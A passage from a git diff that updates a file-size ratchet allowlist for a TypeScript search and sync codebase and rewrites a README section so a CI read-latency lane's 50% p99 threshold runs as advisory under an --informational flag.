+src/commands/sync.ts 5995 ratchet +1 #4786/#3068 pre-landing: pullFailed early return reports the sweep count (comment line); +1 #4786 x #2139 pre-landing: both embed-backfill submit gates require syncProducedEmbeddableContent (import line); re-summed after merging master v0.50.0.0 with the wave (include_hidden, sweep count, cost-gate envelope); +1 wave review: sync trigger --json emits {job_id} JSON; grown v0.46.26.0 megawave: image sync, ingest-log gating, dry-run purity, checkpoint honesty (#2683 #4342 #3875) + 3 nosemgrep dataflow annotations (path-traversal audit); +#2683 residual: status-error failure recording at both import sites; +143 wave G #3974: working-tree drift surfacing + opt-in --working-tree import; grown wave-g (#4412 #4543): break-lock ambient source resolution + named failing files; grown db-availability loop: GBRAIN_DB_ACCESS marker on checkpoint-dead aborts; fix cycle: marker via shared DB_ACCESS_MARKER_PREFIX + shouldEmitDbAccessMarker; wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +master-merge true-up; +25 post-sync backup-coverage stale-only refresh (monthly backup check); wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +1: #4412 refinement — explicit --source stays resolver-free (deleted-source locks breakable); +10 v0.47 gmail-loops: google source-kind dispatch branch; +48 #4667 adoption: persisted sync.exclude config union hoisted above the performFullSync early returns; +22 #4587: all 7 delete lanes swapped to softDeletePages (72h recovery window), decompose comments + summary wording; +16 #4583: seed_default write refusal on bulk-non-default brains (assessDefaultWriteGuard call site + escape-hatch comment); composition true-up (fix-wave multi-train); +33 #4597: trackedSlugIndex.anchorOnlyPaths (slug -> anchor paths that alone proved it) + the self-referential from-path rule in slugLiveness so a fallback rename's own pre-rename duplicate converges under incremental sync; +12 #4888: runSync wraps runSyncInner in withHumanLogsToStderr under --json (stdout = JSON lines only) + help text; wave composition: #4903 stored-strategy honor + #4597 fallback-rename duplicate convergence + #4888 --json stdout purity summed; security: durable queued authority and confined filesystem dispatch; drained cancellation and lease-safe partial results; master integration: +1 wave review: sync trigger --json emits {job_id} JSON; grown v0.46.26.0 megawave: image sync, ingest-log gating, dry-run purity, checkpoint honesty (#2683 #4342 #3875) + 3 nosemgrep dataflow annotations (path-traversal audit); +#2683 residual: status-error failure recording at both import sites; +143 wave G #3974: working-tree drift surfacing + opt-in --working-tree import; grown wave-g (#4412 #4543): break-lock ambient source resolution + named failing files; grown db-availability loop: GBRAIN_DB_ACCESS marker on checkpoint-dead aborts; fix cycle: marker via shared DB_ACCESS_MARKER_PREFIX + shouldEmitDbAccessMarker; wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +master-merge true-up; +25 post-sync backup-coverage stale-only refresh (monthly backup check); wave-k: #3570 rename-sentinel operator-exit safety (cross-source-scoped resolve, tracked-file liveness index, orphaned-sentinel self-heal) + #4027 --include-hidden dot-prune waiver (threaded into the hoisted syncOpts); +6 #2683 residual: the rename lane's errored-skip branch now sets importErrored too, closing the gap left when status-error handling was added only for the throw and status='error' cases; +1: #4412 refinement — explicit --source stays resolver-free (deleted-source locks breakable); +10 v0.47 gmail-loops: google source-kind dispatch branch; +48 #4667 adoption: persisted sync.exclude config union hoisted above the performFullSync early returns; +22 #4587: all 7 delete lanes swapped to softDeletePages (72h recovery window), decompose comments + summary wording; +16 #4583: seed_default write refusal on bulk-non-default brains (assessDefaultWriteGuard call site + escape-hatch comment); composition true-up (fix-wave multi-train); +33 #4597: trackedSlugIndex.anchorOnlyPaths (slug -> anchor paths that alone proved it) + the self-referential from-path rule in slugLiveness so a fallback rename's own pre-rename duplicate converges under incremental sync; +12 #4888: runSync wraps runSyncInner in withHumanLogsToStderr under --json (stdout = JSON lines only) + help text; wave composition: #4903 stored-strategy honor + #4597 fallback-rename duplicate convergence + #4888 --json stdout purity summed; #5252 wave: post-batch planner statistics refresh; merged company ingestion/schema routing changes; master retrieval/projection integration with company ingestion; merged reliability/shared-skills source integration; +1 cancellation guard before company dispatch
src/core/cycle.ts 3207 ratchet grown v0.46.26.0 megawave (#4102 #2608) + master v0.46.26.0 cycle-start orphan recovery; +10 wave G #3974: cycle-sync uncommitted-drift warn; grown wave-g (#4416): synthesize_concepts source threading; grown wave-g (#4416): synthesize_concepts source threading (same fix absorbed as #4417 on wave-k); wave-k: ); +7: #4077 abort threading; +10: #4745 fullImplicitSourceCycle opt-in contract; +3: #4890 extract phase jsonMode/quiet + pages-not-links totals; +1: wave review — extract phase passes quiet:true + jsonMode:false
src/core/cycle/synthesize.ts 3218 ratchet merged waves; grown v0.46.26.0 megawave + master rolling lease via shared throttled renewer; grown wave-g (#4506): cycle summaries can stay out of the source repo; +18: expired-verdict sweep + DeepSeek judge thinking pin (#4069); +47: #4077 cooperative-abort threading; +110: eval fix wave F6 spend surfacing (withChatPhase wrap, triage/child token telemetry, zero-page counter); +32: F1b quote-verify call site + kill switch; +2: F1a/F3/F4a OUTPUT POLICY rules; +59: F2 verified-segment rescue (gate at report construction, rescue knobs, telemetry); +19: rubric v2 peak-scoring + docblock rescue branch; +50: #4337 summary link-sample cap + dream_created_cycle_date preserve-on-rerun; +5: #4348 resolveCycleDate wiring (local-day summary bucketing); +3 round-3 rebase true-up; +55: #4805 synth-v2 completion skip (findSynthV2Completion + prefix-parameterized loadSuccessfulSynthesisKeys); +10: #4886 mode-aware buildSynthesisPrompt (oneshot children drop tool-use/final-prose guidance); #5105: small legacy writer/refusal and shared revision CAS delegates
src/core/cycle/extract-atoms.ts 1752 ratchet crossed the 1500 unlisted cap in the atoms/extraction fix wave: +21 embed-aware cost gate (#4878), +65 atoms-array anchor scan (#4913); peel candidate: the parse block (parseAtomsOutcome / parseArrayAtOffset / atomsFromParsedArray) into extract-atoms-parse.ts; +35: #4853 transcript-origin atoms link to their conversation page; +130: #4916 transcript failure-count/tombstone (extract_atoms_transcript_state, TODOS P2(b)); wave composition: #4916 transcript-state skip + #4948 zero-atom prompt + #4943 meetings source-id summed; +3: wave review — a later `[]` is an honest zero-yield, a non-atom-shaped array is a counted failure; +13: wave review — explicit budget keeps the cap over an unpriced embed route ($0-priced); +14: wave review — transcript-state write errors surfaced, missing table warns once; merged reliability/shared-skills source integration
@@ -22,17 +22,17 @@ src/core/migrate.ts 722 region-exempt append-only MIGRATIONS array grows freely;
src/core/operations.ts 329 ratchet peel target: containment sprint C4-C7; grown v0.46.26.0 megawave op wiring; +chat-connectors wiring (master merge); +5 v0.47 gmail-loops: loopsOperations spread + OP_AREAS; #5105: receipt operation registry wiring; shared-skills integration on company-ingestion base
src/core/pglite-engine.ts 6120 ratchet +6 #4881: ontology provenance-page visibility gate (getOntology/findOntologyConflicts); grown v0.46.26.0 megawave parity twins + master v0.46.26.0 private-queue columns; +#3754 traverseGraph soft-delete filters; grown wave-g (#4524 #4527): canonical islanded orphans + timestamp-preserving migrate; wave-k: +1 semantic takes retrieval delegate (#3776), +5 NUL-sanitize shared chunk_text local (#3998), +7 getAllConfig bulk read (#3980); +22: pre-close WAL CHECKPOINT in disconnect (#3893); +10: #4109 atomic link/timeline mutation + typed per-endpoint miss (parity); +1: getBacklinkCounts page-id keying comment (#4380); +14: dream-verdict TTL expiry predicate + sweep (#4069); +7 test-gap-wave merge true-up; +23: softDeletePages batch soft-delete primitive (#4587, parity twin); +51: #4592 source-scoped getStats/getHealth (bound $1 scope, both-endpoint link rule); +5 file-bytes snapshot hash (coverage-immune — CI shards were silently cold-initting); +7 2026-09 fix wave (#3617 follow-up): OR-fallback rows tagged keyword_relaxed in searchKeyword + title arm (fusion demotion reads it); cold-initting); +11: #4280 orphan/health served-memory denominators (quarantine + leaf-type metadata); composition true-up (fix-wave multi-train); +14: traversePathsDetailed row cap (LIMIT + truncated probe, parity twin); +7: resolveSlugWithAliasDetailed (owning source_id, parity twin) | merged v0.48.1.0 true-up; corrective release: shared batched enrichment peel; concrete content and Chronicle authorization; +2: #4681 listPages projects updated_at_iso (microsecond keyset cursor); master integration: harness support: boundary wiring to shared grants, isolated setup, withdrawal and delegated guards; merged v0.49: grant and authority schema bootstrap parity; #5105: canonical page state shared module and transaction/snapshot delegates; #5105: guarded derived projection preparation and read seals; upstream integration: preserve independently reviewed master additions with branch facade extraction; +1 v0.50.5.0 security merge (upstream delta; coordinated facade retained); +7 ceiling: bounded in-memory create retry with attached-database exclusion and second-failure diagnostics; #5252 bounded candidate recovery and statistics snapshot dependency; merged company ingestion/schema routing changes; master retrieval/projection integration with company ingestion; shared-skills integration on company-ingestion base; shared skills: include explicit access DDL in snapshot invalidation
src/core/postgres-engine.ts 5577 ratchet +6 #4881: ontology provenance-page visibility gate (parity twin); lowered wave-g: #4477 bootstrap peel to src/core/postgres-engine/ modules (ratchet holds the win); +2 on wave-g-prs merge true-up; wave-k: +2 semantic takes retrieval (#3776), +5 NUL-sanitize shared chunk_text local (#3998), +11 getAllConfig bulk read (#3980); +13: #4109 atomic FOR KEY SHARE link/timeline mutation + typed per-endpoint miss; +2: getBacklinkCounts page-id keying comment (#4380); +12: dream-verdict TTL expiry predicate + sweep (#4069); +23: softDeletePages batch soft-delete primitive (#4587, parity twin); +61: #4592 source-scoped getStats/getHealth (scope predicate, both-endpoint link rule); +11 2026-09 fix wave (#3617 follow-up): OR-fallback rows tagged keyword_relaxed in searchKeyword + title arm (fusion demotion reads it); rule); +12: #4280 orphan/health served-memory denominators (quarantine + leaf-type metadata, parity twin); composition true-up (fix-wave multi-train); +14: traversePathsDetailed row cap (LIMIT + truncated probe, parity twin); +7: resolveSlugWithAliasDetailed (owning source_id, parity twin) | merged v0.48.1.0 true-up; corrective release: shared batched enrichment peel; concrete content and Chronicle authorization; +3: #4681 listPages projects updated_at_iso (microsecond keyset cursor, parity twin); #5105: canonical page state shared module and transaction/snapshot delegates; #5105: guarded derived projection preparation and read seals; #5105: resident-stop barrier and direct transaction route; upstream integration: preserve independently reviewed master additions with branch facade extraction; +1 v0.50.5.0 security merge (upstream delta; coordinated facade retained)
-src/core/search/hybrid.ts 3314 ratchet grown v0.46.26.0 megawave: CRAG escalation seam, degradation visibility, excludePrivate knobs-fold v23 (#1663 #3873 #4352); grown #4356: semantic-cache-hit slice honors resolved mode searchLimit (double-resolution caveat); grown #4414: offset!==0 cache-skip widening + knobs-hash v24; grown #4487: chunkless rows join the cosine blend (no raw-score head start); grown wave-g (#4480 #4415): shared salience/recency resolution + pattern-aware cache keying; grown db-availability loop: all-lexical-arms-dead access-error rethrow (a dead DB must never return an empty success) — refined to both-arms-FAILED (a succeeded-but-empty arm proves the DB is alive); grown v0.46.26.0 megawave: CRAG escalation seam, degradation visibility, excludePrivate knobs-fold v23 (#1663 #3873 #4352); grown #4356: semantic-cache-hit slice honors resolved mode searchLimit (double-resolution caveat); grown #4414: offset!==0 cache-skip widening + knobs-hash v24; grown #4487: chunkless rows join the cosine blend (no raw-score head start); grown wave-g (#4480 #4415): shared salience/recency resolution + pattern-aware cache keying; +2: backlink-boost counts page-id keying doc (#4380); +59 2026-09 adversarial batch 2: both-mode text-only demotion gate (textVectorArmNonEmpty) + relaxed_dropped meta + keyword_relaxed_carried degraded stamp + intent-skew caveat docs; +35 #3617 follow-up: relaxed-row fusion demotion (vectorArmNonEmpty gate + keywordFusionList/titleFusionList) with the LongMemEval 51.3%-vs-93.8% receipt comment; +24 2026-08 eval fix wave (E5b/D8): adaptive-return knobs-hash v27 fold (resolved gate + intent class threaded to the cache key), adaptive-on skipCache removal, dedupOpts cache-skip honesty, explicit-maxPerPage min() precedence under walk widening; (#4380); +20 wave #4256: compiledTruthBoost helper — synthetic chunkless title rows (chunk_id 0 + empty chunk_text) never gain the 2x compiled-truth boost (#3695); composition true-up (fix-wave multi-train) | merged v0.48.1.0 true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); corrective release: read-policy propagation and semantic result-cache containment; ranker wave v0.48.4.0: role-tagged fusion arms, relational rerank pin, metadata boost gate, per-call knob seams, onRerankPool hook (+150) merged over master's read-policy plumbing (+31); +11 #4359 (#4972): thread the loaded search-mode config snapshot from hybridSearchCached into the inner hybridSearch call (INTERNAL _searchModeInput opt) so both resolve from the same one DB-plane config read instead of two independent ones — closes the cache-key/result desync window and removes the second config-table round trip on every hybridSearchCached call; #5252 wave: inclusive date bounds and public vector incompleteness; shared date-bounds peel retains exports; merged company ingestion/schema routing changes
-src/core/types.ts 2139 ratchet +3 wave review: PAGE_SORT_SQL.updated_asc source_id + id tiebreakers (total order under federated scopes); +5 #4881: OntologyReadOpts extends PageReadScope doc; +3 #4857: PAGE_SORT_SQL.slug total-order tiebreaker comment; grown v0.46.26.0 megawave: EvidenceOpts, pacing/usage result fields, PageFilters growth (#4352 #4218); wave-k: +9 SalienceOpts/AnomaliesOpts source scope (#3867); +20 2026-09 adversarial batch 2: keyword_relaxed_carried stage + relaxed_dropped meta field docs; +16 2026-09 fix wave: SearchResult.keyword_relaxed field + full fusion-demotion doc; (#3867); +9: #4648 rerank_passthrough degraded stage + empty_result_set/malformed_shape reasons | merged v0.48.1.0 true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); corrective release: shared internal PageReadScope and PageReadPolicy; ranker wave v0.48.4.0: HybridSearchMeta relational_rerank_pin / keyword_arm_confidence / metadata_boost_gate + SearchResult.relational_pinned (+48 over master's peel); +12: #4681 Page.updated_at_iso + keyset cursor precision docs; #5105: canonical page state shared module and transaction/snapshot delegates; #5105: public page revision fields; upstream integration: preserve independently reviewed master additions with branch facade extraction; #5252 wave: typed vector pool and readiness metadata; merged company ingestion/schema routing changes
+src/core/search/hybrid.ts 3213 ratchet grown v0.46.26.0 megawave: CRAG escalation seam, degradation visibility, excludePrivate knobs-fold v23 (#1663 #3873 #4352); grown #4356: semantic-cache-hit slice honors resolved mode searchLimit (double-resolution caveat); grown #4414: offset!==0 cache-skip widening + knobs-hash v24; grown #4487: chunkless rows join the cosine blend (no raw-score head start); grown wave-g (#4480 #4415): shared salience/recency resolution + pattern-aware cache keying; grown db-availability loop: all-lexical-arms-dead access-error rethrow (a dead DB must never return an empty success) — refined to both-arms-FAILED (a succeeded-but-empty arm proves the DB is alive); grown v0.46.26.0 megawave: CRAG escalation seam, degradation visibility, excludePrivate knobs-fold v23 (#1663 #3873 #4352); grown #4356: semantic-cache-hit slice honors resolved mode searchLimit (double-resolution caveat); grown #4414: offset!==0 cache-skip widening + knobs-hash v24; grown #4487: chunkless rows join the cosine blend (no raw-score head start); grown wave-g (#4480 #4415): shared salience/recency resolution + pattern-aware cache keying; +2: backlink-boost counts page-id keying doc (#4380); +59 2026-09 adversarial batch 2: both-mode text-only demotion gate (textVectorArmNonEmpty) + relaxed_dropped meta + keyword_relaxed_carried degraded stamp + intent-skew caveat docs; +35 #3617 follow-up: relaxed-row fusion demotion (vectorArmNonEmpty gate + keywordFusionList/titleFusionList) with the LongMemEval 51.3%-vs-93.8% receipt comment; +24 2026-08 eval fix wave (E5b/D8): adaptive-return knobs-hash v27 fold (resolved gate + intent class threaded to the cache key), adaptive-on skipCache removal, dedupOpts cache-skip honesty, explicit-maxPerPage min() precedence under walk widening; (#4380); +20 wave #4256: compiledTruthBoost helper — synthetic chunkless title rows (chunk_id 0 + empty chunk_text) never gain the 2x compiled-truth boost (#3695); composition true-up (fix-wave multi-train) | merged v0.48.1.0 true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); corrective release: read-policy propagation and semantic result-cache containment; ranker wave v0.48.4.0: role-tagged fusion arms, relational rerank pin, metadata boost gate, per-call knob seams, onRerankPool hook (+150) merged over master's read-policy plumbing (+31); +11 #4359 (#4972): thread the loaded search-mode config snapshot from hybridSearchCached into the inner hybridSearch call (INTERNAL _searchModeInput opt) so both resolve from the same one DB-plane config read instead of two independent ones — closes the cache-key/result desync window and removes the second config-table round trip on every hybridSearchCached call; #5252 wave: inclusive date bounds and public vector incompleteness; shared date-bounds peel retains exports; merged company ingestion/schema routing changes; retired provider integration removed
+src/core/types.ts 2072 ratchet +3 wave review: PAGE_SORT_SQL.updated_asc source_id + id tiebreakers (total order under federated scopes); +5 #4881: OntologyReadOpts extends PageReadScope doc; +3 #4857: PAGE_SORT_SQL.slug total-order tiebreaker comment; grown v0.46.26.0 megawave: EvidenceOpts, pacing/usage result fields, PageFilters growth (#4352 #4218); wave-k: +9 SalienceOpts/AnomaliesOpts source scope (#3867); +20 2026-09 adversarial batch 2: keyword_relaxed_carried stage + relaxed_dropped meta field docs; +16 2026-09 fix wave: SearchResult.keyword_relaxed field + full fusion-demotion doc; (#3867); +9: #4648 rerank_passthrough degraded stage + empty_result_set/malformed_shape reasons | merged v0.48.1.0 true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); corrective release: shared internal PageReadScope and PageReadPolicy; ranker wave v0.48.4.0: HybridSearchMeta relational_rerank_pin / keyword_arm_confidence / metadata_boost_gate + SearchResult.relational_pinned (+48 over master's peel); +12: #4681 Page.updated_at_iso + keyset cursor precision docs; #5105: canonical page state shared module and transaction/snapshot delegates; #5105: public page revision fields; upstream integration: preserve independently reviewed master additions with branch facade extraction; #5252 wave: typed vector pool and readiness metadata; merged company ingestion/schema routing changes; retired provider integration removed
src/core/minions/queue.ts 2484 ratchet grown #4078 + megawave probe-liveness unlatch (#4310) + master private-queue lifecycle: recovery classifier + monotonic lease; security: durable queued authority and confined filesystem dispatch; master integration: grown #4078 + megawave probe-liveness unlatch (#4310) + master private-queue lifecycle: recovery classifier + monotonic lease; harness support: boundary wiring to shared grants, isolated setup, withdrawal and delegated guards; merged v0.49: durable authority and delegated admission both enforced
-src/commands/init.ts 2081 ratchet grown v0.46.x keyless capability notices; grown db-availability loop: initPostgresCore typed-failure extraction + --prefer-postgres ladder hook + pgvector rethrow fix; +1 at megawave/wave-k merge; +master-merge true-up; wave-k: merge; #3753 --force re-init engine-preservation guard; +1 wave-k merge-union brace (--prefer-postgres close); +10 ambient-writeback WP8: runWritebackNudge consent ask in both engine epilogues (logic lives in core/onboard/writeback-nudge.ts); +4: v0.48.2 reranker readiness at init + test seam; +1: v0.48.2 normalized ZE provider check; +3: v0.48.2 review fixes; master integration: +2: preserve typed PGLite busy errors in schema-only init; shared-skills integration on company-ingestion base
+src/commands/init.ts 1932 ratchet grown v0.46.x keyless capability notices; grown db-availability loop: initPostgresCore typed-failure extraction + --prefer-postgres ladder hook + pgvector rethrow fix; +1 at megawave/wave-k merge; +master-merge true-up; wave-k: merge; #3753 --force re-init engine-preservation guard; +1 wave-k merge-union brace (--prefer-postgres close); +10 ambient-writeback WP8: runWritebackNudge consent ask in both engine epilogues (logic lives in core/onboard/writeback-nudge.ts); +4: v0.48.2 reranker readiness at init + test seam; +1: v0.48.2 provider normalization; +3: v0.48.2 review fixes; master integration: +2: preserve typed PGLite busy errors in schema-only init; shared-skills integration on company-ingestion base; retired provider integration removed; retain stored-vector identity on re-init
src/commands/integrations.ts 1739 ratchet grown v0.46.26.0 megawave (#4039 connector compat) + 1 nosemgrep dataflow annotation (path-traversal audit); wave-k: exported heartbeatPath seam (#3900)
src/core/minions/handlers/subagent.ts 1918 ratchet merged: master v131 settle rework + dream-wave C5 peel + C6 accounting + C7 lease heartbeats/lost-lease aborts + C9 oneshot dispatch + adversarial fix batches; grown by #4078 subagent-loop capability fix; +6 lines (reasoning-item replay: adaptContentBlocksToChatBlocks handles 'reasoning' blocks); +3 wave G #4514: Anthropic-via-OpenRouter allowed on the subagent loop; +36 lines (code review, same PR): isPromptTooLongError walks a bounded .cause chain so it still matches post-normalizeAIError() wrapping, plus extractPromptTooLongDetail so the dead-lettered job's error carries the matched provider detail instead of the generic normalizeAIError() wrapper text; master integration: harness support: boundary wiring to shared grants, isolated setup, withdrawal and delegated guards; #5105: +13 call-site wiring to shared tool-write-identity helper across fresh and replay dispatch
src/commands/bootstrap.ts 2115 ratchet grandfathered at merge (grew past the 1500 cap on master); raised for #4066 HOME_WORKSPACE_GUARD_EXEMPT (status/uninstall/harness); +5 for the harnessDetect test seam (bulk lives in core/bootstrap/harness.ts); +23 for the contract subcommand dispatcher glue (#4105 absorb — bulk lives in core/bootstrap/contract.ts); +codex hooks-consent gate + mcp+hooks receipt registration + uninstall arm; +42 ambient-writeback WP8: interview-time SURFACE_MULTIUSER audience apply (pre-init ordering) + applyDeclaredAudienceFromInterview; +3 #4897 harness usage clause documenting --source ID semantics
src/core/minions/worker.ts 1546 ratchet grandfathered at merge (grew past the 1500 cap on master, #4170); grown v0.46.11.0 five-issue wave; security: durable queued authority and confined filesystem dispatch
src/commands/sources.ts 1993 ratchet grown v0.46.22.0 phone wave: github source kind (#4104); +129 v0.47 gmail-loops: google source-kind flags + vault preflight + duplicate-account warn + access-mode validation; +8 set-path dispatch + help rows (#4739 — command body peeled to sources-set-path.ts); +29 #4698 adoption: --calendar-id flag + duplicate-account warn scoped to overlapping services; #5105: trusted writer administration route; company handlers and receipt status wiring; parsing stays in dedicated modules; canonical reconciliation: +5 engine-free sibling-command dispatch and help row, implementation remains in source-reconcile.ts
src/core/link-extraction.ts 1878 ratchet grown v0.46.26.0 megawave: link-aware timeline split + delimiter-outside-links (#3957 #4062 #3737); +37 wave-k #3908 reimpl: isCrossSourceLinksEnabled config ladder; +10 wave #4277: parseTimelineEntries skips generated backlink receipts; +17 #4855: latin-fold in normalizeBasename + dir-hint step tries both slug grammars; +17: #4855 Latin stroke-letter fold; +5: #4873 ./-relative markdown links kept as live references; +34 wave review: `../y.md` sibling links resolve on the DB path + folded bare-wikilink grammar (#4873 class); +62 #4977: role-prior suppression in machine-list sections (rolePriorSuppressedRanges, EntityRef.index); +3 composed with #4985 (variation-selector strip) in the same wave; +4 #4995: markdown-link anchor strip + lowercase-candidate rationale comments; +6 pre-landing review: #4977 suppression on code-stripped content + truthful watermark/section-list comments; T2: source-qualified inference and atomic origin-scoped derived links
-src/core/embedding-migration.ts 1545 ratchet new row: crossed 1500 in v0.46.25.0 fix waves (#4305 #4306 chunk-model truth helpers)
+src/core/embedding-migration.ts 1435 ratchet new row: crossed 1500 in v0.46.25.0 fix waves (#4305 #4306 chunk-model truth helpers); retired provider integration removed
src/core/github-source.ts 1576 ratchet new row: crossed the 1500 unlisted cap in v0.46.23.0 review fix wave (scope-state gating, client hardening, symlink containment); merged reliability/shared-skills source integration; managed sweep lease wrapper
src/commands/hook.ts 1881 ratchet cathedral-5 heartbeat extraction offsets part of the BrainBench-seam growth; grown v0.46.26.0 megawave hooks-ipc (#4245); +108 monthly backup check: banner + gated session-start note + detached spawn (backup/status-file readers); +28 ship-review egress hardening: per-harness capture dispatch (capture-spec), memorable gate + receipt + relay block, fail-closed unscanned/newest-guess skips; +79 ambient-writeback WP4: hookStop bank step (gate -> bankWritebackTurn -> IPC flush; gate/bank logic live in core/facts + corpus-segments); +41 adversarial fix wave: wide-tail retry when the 128KB window misses the user turn, by-design heartbeat outcome classes, source-in-name banking
src/core/chunkers/code.ts 1582 ratchet new row: crossed the 1500 unlisted cap in v0.46.26.0 megawave (decorated-python defs #3821, version-gate + timeout chunker fixes); grown wave-g (#4511): named defs never folded into merged chunks; grown #4669: skip WASM parse for languages without TOP_LEVEL_TYPES
@@ -40,4 +40,4 @@ src/core/config.ts 1794 ratchet new row: crossed the 1500 unlisted cap in v0.46.
src/core/bootstrap/harness.ts 2656 ratchet +29 live-PGLite-serve lane: LIVE_SERVE refusal ahead of source resolution + unpinned --token hooks (CI e2e fix); +46 wave review: resolveHookSource dep (serve-parity resolver + federated grant), --source shape validation, loud SOURCE_UNRESOLVED instead of a silent 'default'; +10: #4574 parseCodexBlockBearer http_headers shape + legacy bearer_token fallback; +4 at megawave/wave-k merge; +codex hooks lane: step-7 codex hooks.json + config.toml trust pair, removeHarness arm; +234 ambient-writeback WP3: kind:'instructions' targets (plan/apply/converge-off/remove/status probes, OV-A4 override pre-check) — splice/render mechanics live in instructions-block.ts; +59 adversarial fix wave: registrar-mode block suppression, converge-failure receipt tracking, MCP-confirmed guard before block install; +26 round-3 fixes: codex-lane MCP-confirmed guard + smoke-rollback block strip; master: | merged v0.48.1.0 true-up; +41 #4897 resolveImplicitSource dep + defaultResolveImplicitSource: hooks/token/receipt bind to the serve's implicit default source when --source is omitted; +23 #4586 statusHarness live claude-code mcp verdict (URL mismatch or same-scope non-HTTP registration reads failed, receipt untouched); shared-skills integration on company-ingestion base
src/core/oauth-provider.ts 1235 ratchet new row: crossed the 1500 unlisted cap absorbing #3819 (DCR 400 invalid_client_metadata + scope filtering + custom-scheme redirect_uris + pseudo-scheme guard); merged v0.49: transactional grant enforcement shared with hosted grant policies
src/core/ops/pages.ts 611 ratchet crossed the unlisted 1500 cap in the fix wave: pack-vocabulary enforcement on capture (#4721) + get_page alias follow (#4275) landed together; next growth should peel a pages-ops submodule; +3: alias hop reads the canonical in the owning source (ship-review); +5: explicit source_id liveness check in get_page/list_pages (#4620); +3: #4857 total-order slug sort + list_pages source_id parse; +5: #4620 explicit removed-source id fails loudly; master integration: +4: authenticated delegated private-write boundary and auto-link suppression; #5105: canonical page mutations peeled into persistence modules; +2 v0.50.5.0 purge parameter and shared preflight call; preparation composes through the persistence modules; +7: source-qualified deep-research fetch authorization and ambiguity refusal (codec lives in deep-research-id.ts)
-src/core/search/mode.ts 1756 ratchet +5 #3617 follow-up: v27 same-knobs behavioral-change note (relaxed-row fusion demotion rides the bump); new row: crossed the 1500 unlisted cap in the 2026-08 eval fix wave — KNOBS_HASH v=27 adaptive-return fold (ar/arem/arom/armk/ari parts + KnobsHashContext.adaptiveReturn field + contamination rationale comments) | merged v0.48.1.0 (+#4787) true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); ranker wave v0.48.4.0: four knobs (expansion_variant_budget, relational_rerank_pin, keyword_arm_confidence_floor, metadata_boost_gate) + v29 hash parts + doc receipts (+218); #4781 loadSearchModeConfig reads the config table once via loadConfigSnapshot (+6); +4 #4359: update loadSearchModeConfig docstring — the cached path now reads config once (threaded snapshot), not twice
+src/core/search/mode.ts 1495 ratchet +5 #3617 follow-up: v27 same-knobs behavioral-change note (relaxed-row fusion demotion rides the bump); new row: crossed the 1500 unlisted cap in the 2026-08 eval fix wave — KNOBS_HASH v=27 adaptive-return fold (ar/arem/arom/armk/ari parts + KnobsHashContext.adaptiveReturn field + contamination rationale comments) | merged v0.48.1.0 (+#4787) true-up; +master v0.48 merge true-up (reranker succession: no_key preflight, reranker_skipped stage, readiness); ranker wave v0.48.4.0: four knobs (expansion_variant_budget, relational_rerank_pin, keyword_arm_confidence_floor, metadata_boost_gate) + v29 hash parts + doc receipts (+218); #4781 loadSearchModeConfig reads the config table once via loadConfigSnapshot (+6); +4 #4359: update loadSearchModeConfig docstring — the cached path now reads config once (threaded snapshot), not twice; retired provider integration removed
diff --git a/scripts/persistence/README.md b/scripts/persistence/README.md
index 2d7c38e979..dff9f3d3eb 100644
--- a/scripts/persistence/README.md
+++ b/scripts/persistence/README.md
@@ -130,14 +130,17 @@ The heavy process worker allows 90 minutes; its CI job allows 110 minutes.
This accommodates disk-PGLite durability on slower VM storage without
reducing the 10,000 actual mutation requirement.
-The required read-latency lane runs `scripts/persistence/performance.ts
---engine=pglite` (or `--engine=postgres` with the same guarded test URL).
+The required read-workload validity lane runs `scripts/persistence/performance.ts
+--engine=pglite --informational` (or `--engine=postgres` with the same guarded
+test URL).
It keeps the existing heavy workload's 500-page text corpus, 200 hybrid
-searches per phase, four writers and 50% p99 regression budget. Three fresh
-child processes/databases each measure idle reads followed by reads with
-public `put_page` writes; the gate compares the median loaded p99 to the
-median idle p99 on the same runner. Each run requires actual committed
-writes, zero failed reads/writes and at least 90% coverage of the read
+searches per phase, four writers and an advisory 50% loaded-versus-idle p99
+threshold. Three fresh child processes/databases each measure idle reads
+followed by reads with
+public `put_page` writes; the report compares the median loaded p99 to the
+median idle p99 on the same runner. This measures the cost of additional
+concurrent work, not a before/after comparison of a code change. Each run
+requires actual committed writes, zero failed reads/writes and at least 90% coverage of the read
window by the union of in-flight public mutation intervals. An idle gap
cannot be hidden by a late writer completion. Actual writes must commit
during the read window. Both phases yield one event-loop turn between
@@ -162,6 +165,10 @@ PGLite keeps the original in-memory read-latency storage model; the separate
10,000-write durability lane uses disk storage. Smaller corpus options are
recorded as `full_gate: false`. `tests/heavy/read_latency_under_sync.sh`
retains its optional `STRICT_LATENCY=1` interface and now runs the same
-three-sample harness; sample validity always fails closed. The required CI
-lane always enforces the unmodified 50% threshold on both Bun versions and
-both engines.
+three-sample harness; sample validity always fails closed. CI passes
+`--informational` on both Bun versions and both engines: a valid workload
+over the 50% threshold exits successfully, but the manifest keeps its
+`verdict: "fail"`, `status: "failed"` and `full_gate: false` threshold result.
+Invalid samples, failed reads/writes and insufficient overlap still fail CI.
+Omit `--informational` to enforce the threshold locally; the threshold value
+and measurement workload have not changed.
diff --git a/scripts/persistence/performance.ts b/scripts/persistence/performance.ts
index 4ad040124f..e490569c92 100644
--- a/scripts/persistence/performance.ts
+++ b/scripts/persistence/performance.ts
